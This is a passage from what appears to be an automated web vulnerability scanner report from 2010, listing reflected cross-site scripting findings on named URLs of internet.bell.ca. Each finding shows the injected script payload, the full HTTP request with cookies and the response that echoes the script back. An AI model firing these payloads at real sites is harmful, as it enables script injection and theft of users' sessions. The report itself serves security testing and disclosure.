Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:16 GMT
Connection: close
Set-Cookie: SMSESSION=5SkS3fZytQktOzQ0jUniHsjvD6gg+E95vBY25sfyX+aO6meJTNGqQBxy7MB7dO4FH3mRWxwCwsbmTTvqzrug4wg4bP3UMDT8F4Rwr5O0oPMbnawj7MYHcXjYZzART49aexn06E3avD3deJUQEXye5eP1TibAsRr2/H134g68bweJcOVvAjHVXDIZnpQ00CYNpiZbOA+G5f/HXnmCgV1bnPi73awAHip3ZznW90lrFIxU6+wXEKpGm987o1buvh3YZRZNG9YBLaD141Rh3YIOdU73faFMLEYqulojnuvqnedP/ilkuUnPaQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsae4e6"><script>alert(1)</script>4e6fd0133fb/glossaryDefinition.js" />
...[SNIP]...

2.37. http://internet.bell.ca/js/glossaryDefinition.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5963b"><script>alert(1)</script>503478bc20 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/glossaryDefinition.js5963b"><script>alert(1)</script>503478bc20 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:33 GMT
Connection: close
Set-Cookie: SMSESSION=XPkVfo0K0wekFyvKYusp1PYBrmCn0diWTKKq3Zk6JlOAOdR0VSgSOx15R1nlGjDB3nZW2uRowdgzcyBXoBDzPxF5kiCSG2U10lKQXaIUkZ44AOufuYcLxBIVco7qDknV+p7Wpz/64QvhBWt5SpG9NxNfzS7c4syYj3Hz2yMI7c6Aszhvis+JlR4fiKrhO5UzEyvRpUGz6mwBYEaP4TnJpuNKibp9yowd5rHljjEiPzoehgSOd2f+jR/qHjqM2BYyIcNZw/jl8XUjlkSlpJUwyhuFq1u3tjFDix3Qcy88pbro/LrPtODBKA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ype="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/glossaryDefinition.js5963b"><script>alert(1)</script>503478bc20" />
...[SNIP]...

2.38. http://internet.bell.ca/js/jquery-ui.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b585"><script>alert(1)</script>b816e0c04ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3b585"><script>alert(1)</script>b816e0c04ad/jquery-ui.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:32 GMT
Connection: close
Set-Cookie: SMSESSION=nHDgz3l677omtgfD6fVxaIWWBHyV750f6M44FJeLYgfU82lP0m608k5ZPu081vi3s4vry0ps2VC13sHSZeLGy03r577q3vEcIBx5ckTbior1W3Py3PX9Z5QMBGN3Jzvdsu8SfQiRzXxUkpCeuCveoNZvQhhZZI6yVhuDpA12nKZHIkQrcUp3itS7xr9NfA7LfImXB91fbC6DgAhom/xuCdm8Ezy+rwrw7T/w/JE8qYMXJ1H6gdvq2oBpKUxrCGbp6CPQEtU5nijQiEuEfcLwZV9WR9lzfpwLWQa2QDJ3+QAHAI/vA8psBQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js3b585"><script>alert(1)</script>b816e0c04ad/jquery-ui.js" />
...[SNIP]...

2.39. http://internet.bell.ca/js/jquery-ui.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c25d3"><script>alert(1)</script>6f4f4bd990a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery-ui.jsc25d3"><script>alert(1)</script>6f4f4bd990a HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
